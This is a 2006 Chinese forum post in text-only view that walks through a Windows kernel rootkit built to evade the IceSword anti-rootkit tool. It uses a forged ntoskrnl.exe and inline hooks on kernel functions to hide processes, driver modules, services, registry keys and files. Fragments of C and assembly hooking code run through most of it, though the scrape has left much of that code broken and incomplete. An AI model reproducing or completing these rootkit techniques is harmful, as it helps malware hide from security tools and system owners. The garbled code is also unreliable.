以文本方式查看主题 - 计算机科学论坛 (http://bbs.xml.org.cn/index.asp) -- 『 C/C++编程思想 』 (http://bbs.xml.org.cn/list.asp?boardid=61) ---- 利用伪造内核文件来绕过IceSword的检测 (http://bbs.xml.org.cn/dispbbs.asp?boardid=61&rootid=&id=26967) |
-- 作者:卷积内核 -- 发布时间:2/6/2006 9:22:00 AM -- 利用伪造内核文件来绕过IceSword的检测 文章分为八个部分: 一、为什么需要伪造内核 另:建议先看看最后那些参考文章。 IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。 治病还是得治本,也许你想过不如直接修改ntoskrnl.exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用: 1、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。 2、就算你停止了系统文件保护,也成功修改了ntoskrnl.exe,但是你不能保证系统每次都能正常关机 而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点: 1、截获并修改IS打开ntoskrnl.exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl.exe”) 2、在内核文件中定位我们要修改的数据。 3、隐藏我们伪造的“otoskrnl.exe”,这点请看本文的第七部分。
二、 伪造内核文件: 先说一下本文hook函数的方式: 1、取该函数起始地址的前六个字节内容保留在unsigned char resume[6]中。 2、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到unsigned char crackcode[6](这两条指令刚好六个字节)中。 3、把该函数起始址的6个字节替换成crackcode[6]的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。 而我们构造的xxxxxxxx函数的主要结构如下: 1、把我们hook的那个函数起始的前6个字节用resume[6]内容进行还原。 2、对传递的程序参数进行处理等。 3、调用被还原后的函数。 4、此时可以处理函数返回后的数据等。 5、把还原后的那个函数的起始地址前6个字节再用crackcode[6]内容进行替换。 6、返回。 关于我们要修改的数据在ntoskrnl.exe中偏移的算法也很简单,这里给出公式如下: 函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址 举个例子来说,假设IoCreateFile在内核中的内存地址是0x8056d1234,由于它是在内存中ntoskrnl.exe模块中,假设ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盘上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。 再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的6前六节的数据XXXXXX变成了YYYYYY。那么你只要打开otoskrnl.exe,把文件偏移调整到上面所说的0x110123处,在写入6个字节的数据YYYYYY。那么当IS打开otoskrnl.exe的话,读出的数据就是YYYYYY了! 下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一个功能就是进行伪造内核(函数RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode[6]第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl.exe文件中进行定位,然后再把crackcode[6]内容写进去。 #include "ntddk.h" #define DWORD unsigned long PCWSTR NTOSKRNL=L"ntoskrnl.exe" unsigned char ResumCodeIoCreateFile[6]; typedef NTSTATUS ( *IOCREATEFILE )( OUT PHANDLE FileHandle, IOCREATEFILE OldIoCreateFile; DWORD GetFunctionAddr( IN PCWSTR FunctionName) RtlInitUnicodeString( &UniCodeFunctionName, FunctionName ); } NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr) RtlInitUnicodeString ( InitializeObjectAttributes ( //下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是 NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase; Status = ZwWriteFile( } NTSTATUS NewIoCreateFile ( OUT PHANDLE FileHandle, { _asm //对IoCreateFile函数进行还原 IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判断是否时打开ntoskrnl.exe if ( IsNtoskrnl != NULL ) Status = OldIoCreateFile ( _asm //把还原后的代码又替换成我们伪造的代码 } if ( OldIoCreateFile == NULL ) _asm //关中断 //把构造好的代码进心替换 _asm //开中断 Status = RepairNtosFile( return Status; } 上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr()(用来获取函数地址)以及RepairNtosFile()(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再2K及XP下测试并通过。笔者在写这些代码时虽然兼顾到了2K3,但是笔者并没有在2K3中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯16进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。 对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接return。这样就起到隐藏进程的作用。 以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。 下面的代码中,GetProcessID()函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。 PatchExEnumHandleTable()函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation ()函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。 typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation; typedef VOID (*EXENUMHANDLETABLE) EXENUMHANDLETABLE OldExEnumHandleTable; typedef BOOL (*EXENUMHANDLETABLECALLBACK) EXENUMHANDLETABLECALLBACK OldCallback; NTSTATUS GetProcessID ( HANDLE KeyHandle; UNICODE_STRING UnicodeProcIDreg; Status = ZwOpenKey ( if (Status != STATUS_SUCCESS) RtlInitUnicodeString ( valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION); valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool ( if (Status != STATUS_SUCCESS) Phandle = (PHANDLE)(valueInfoP->Data); ProtectID = *Phandle; ZwClose(KeyHandle); return STATUS_SUCCESS; } BOOL FilterCallback ( if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程 BOOL FilterCallback ( if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程
VOID NewExEnumHandleTable( OldCallback = Callback; //把Callback参数给OldCallback进行保留 Callback = FilterCallback; //用FilterCallback替换调原来的Callback _asm //还原 OldExEnumHandleTable ( NTSTATUS PatchExEnumHandleTable() OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable"); if ( OldExEnumHandleTable == NULL ) _asm //关中断 //把构造好的代码进心替换 _asm //开中断 |
-- 作者:卷积内核 -- 发布时间:2/6/2006 9:23:00 AM -- _asm //开中断 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile( (DWORD)OldNtQuerySystemInformation, (DWORD)(&CrackCodeNtQuerySystemInformation) ); return Status; } 对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果1。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果2。再把结果1与结果2进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果2的过程。而没有去执行获取结果1的过程。 下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用DriverAddr在上述的结果2中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。 DWORD DriverAddr; IN ULONG SystemInformationClass, NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation; NTSTATUS NewNtQuerySystemInformation( IN ULONG SystemInformationClass, _asm //还原 if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb ) //是否是获取模块信息 _asm mov edi, SystemInformation NextModuleInfo: mov eax, [edi+0x8] cmp ebx, eax add edi, 0x11c FirstMatch: dec ecx NTSTATUS PatchNtQuerySystemInformation() if ( OldNtQuerySystemInformation == NULL ) _asm //关中断 _asm lea eax, NewNtQuerySystemInformation mov edi, OldNtQuerySystemInformation //把构造好的代码进行替换 _asm //开中断 Status = RepairNtosFile ( 不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的资源中给出了MODULE_ENTRY的结构定义如下: 进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小.从新对该结构定义如下: typedef struct _MODULE_ENTRY { PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是ntoskrnl.exe,此时它的base成员的值就是ntoskrnl.exe在内存中的起始地址.这是就可以顺手取一下NtoskrnlBase的值。 DWORD NtoskrnlBase=0; typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; NTSTATUS GetPsLoadedModuleListPtr() KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName ); } if ( InitSystem == 0 ) if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b ) for (j=0; j<0x10; j++, DebuggerDataBlockPtr--) if ( KdDebuggerDataBlock != 0 ) if ( KdDebuggerDataBlock == 0 ) _asm if ( PsLoadedModuleListPtr == 0 ) return STATUS_SUCCESS; } NTSTATUS RemoveModule ( ) PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr; //Get RemoveModle Addr RemoveModleAddr= DriverAddr; for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) ) } 上面这两个函数中,GetPsLoadedModuleListPtr()是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule()用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。 |
-- 作者:卷积内核 -- 发布时间:2/6/2006 9:24:00 AM -- 五、隐藏服务: 普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法: 1、首先自己在注册表的服务项中添加一个自己的服务名字项。 按上面设置完后,来看看ZwLoadDriver的原形: NTSTATUS 下面的代码给出了ZwLoadDriver的使用例子: AnotherWayStartService( TCHAR *szDir ) DWORD ZwLoadDriver; PCWSTR RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath"; TCHAR DriverFilePath[MAX_PATH] = "\\??\\"; if ( Regrt != ERROR_SUCCESS ) Regrt=RegCreateKeyEx ( if ( Regrt != ERROR_SUCCESS ) Regrt = RegOpenKeyEx ( if ( Regrt != ERROR_SUCCESS ) Regrt = RegSetValueEx ( if ( Regrt != ERROR_SUCCESS ) Regrt = RegSetValueEx ( if ( Regrt != ERROR_SUCCESS ) if ( Regrt != ERROR_SUCCESS ) if ( Regrt != ERROR_SUCCESS ) //还记得前面隐藏进程时,我们进程ID是从注册表中取的 ProcessID=GetCurrentProcessId(); Regrt = RegSetValueEx ( if ( Regrt != ERROR_SUCCESS ) RtlInitUnicodeString = (DWORD) GetProcAddress( lea edi, RegService return true; } 请注意上面这段代码中加载驱动时所使用的注册表路径格式是: IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从ntoskrnl.exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上0xD50后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去0xD50后再写入到otoskrnl.exe中,否则就等着BSOD吧。而在2K中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在2K或2K3中运行,请根据需要自己进行取舍。 PCWSTR HideKey = L"neverdeath"; unsigned char ResumCodeNtEnumerateKey[6]; typedef NTSTATUS ( *NTENUMERATEKEY ) ( NTENUMERATEKEY OldNtEnumerateKey; typedef struct ServiceDescriptorEntry { extern PServiceDescriptorTableEntry KeServiceDescriptorTable; NTSTATUS NewNtEnumerateKey( IN HANDLE KeyHandle, Status = ZwEnumerateKey ( } NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" ); if ( NtDuplicateTokenAddr == NULL ) for (;;i++) } NTSTATUS PatchNtEnumerateKey() Status = GetOldNtEnumerateKey(); if ( Status != STATUS_SUCCESS ) _asm //关中断 _asm mov byte ptr CrackCodeNtEnumerateKey[0], 0x68 _asm //开中断 Status = RepairNtosFile( }
|
-- 作者:卷积内核 -- 发布时间:2/6/2006 9:25:00 AM -- 7、隐藏文件: 终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死! 邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。 我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了): 单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的内容转移或加个密就轻易实现了。 虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。 IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的[.]与[..]文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成[.]或[..]文件夹属性(当然包括文件名信息了)就行了。 下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(+0x4)数值来判断是否时IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的话就进行替换IO_COMPLETION_ROUTINE。 下的代码在FAT32、NTFS、NTFS&FAT32中测试通过,在纯Fat中也测试通过。 PCWSTR HideDirectory =L"neverdeath"; DWORD NtfsUserbuf; DWORD FatUserbuf; typedef NTSTATUS (*_DISPATCH) _DISPATCH OldNtfsQueryDirectoryDispatch; PIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine; NTSTATUS NewNtfsCompletionRuntine( _asm NTSTATUS NewFatCompletionRuntine( _asm NTSTATUS NewNtfsQueryDirectoryDispatch ( _asm if ( QueryFile == 0xfe8 ) _asm _asm if ( QueryFile == 0xfe8 ) _asm NTSTATUS PatchFileSystemDevicePatDispatch() RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" ); NtfsStatus = ObReferenceObjectByName ( _asm _asm mov edi, OldNtfsQueryDirectoryDispatch FastFatStatus = ObReferenceObjectByName ( _asm mov edi, OldFatQueryDirectoryDispatch return ( NtfsStatus & FastFatStatus ); } 感觉是该停止的时候了,呵呵,今年我想要学的东西,想要做的事情也都做完了。爽啊!最后祝各位天天快乐!特别时那些他乡的游子。记得打个电话回去问候哟! wuyanfeng 《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !! |
W 3 C h i n a ( since 2003 ) 旗 下 站 点 苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》 |
375.000ms |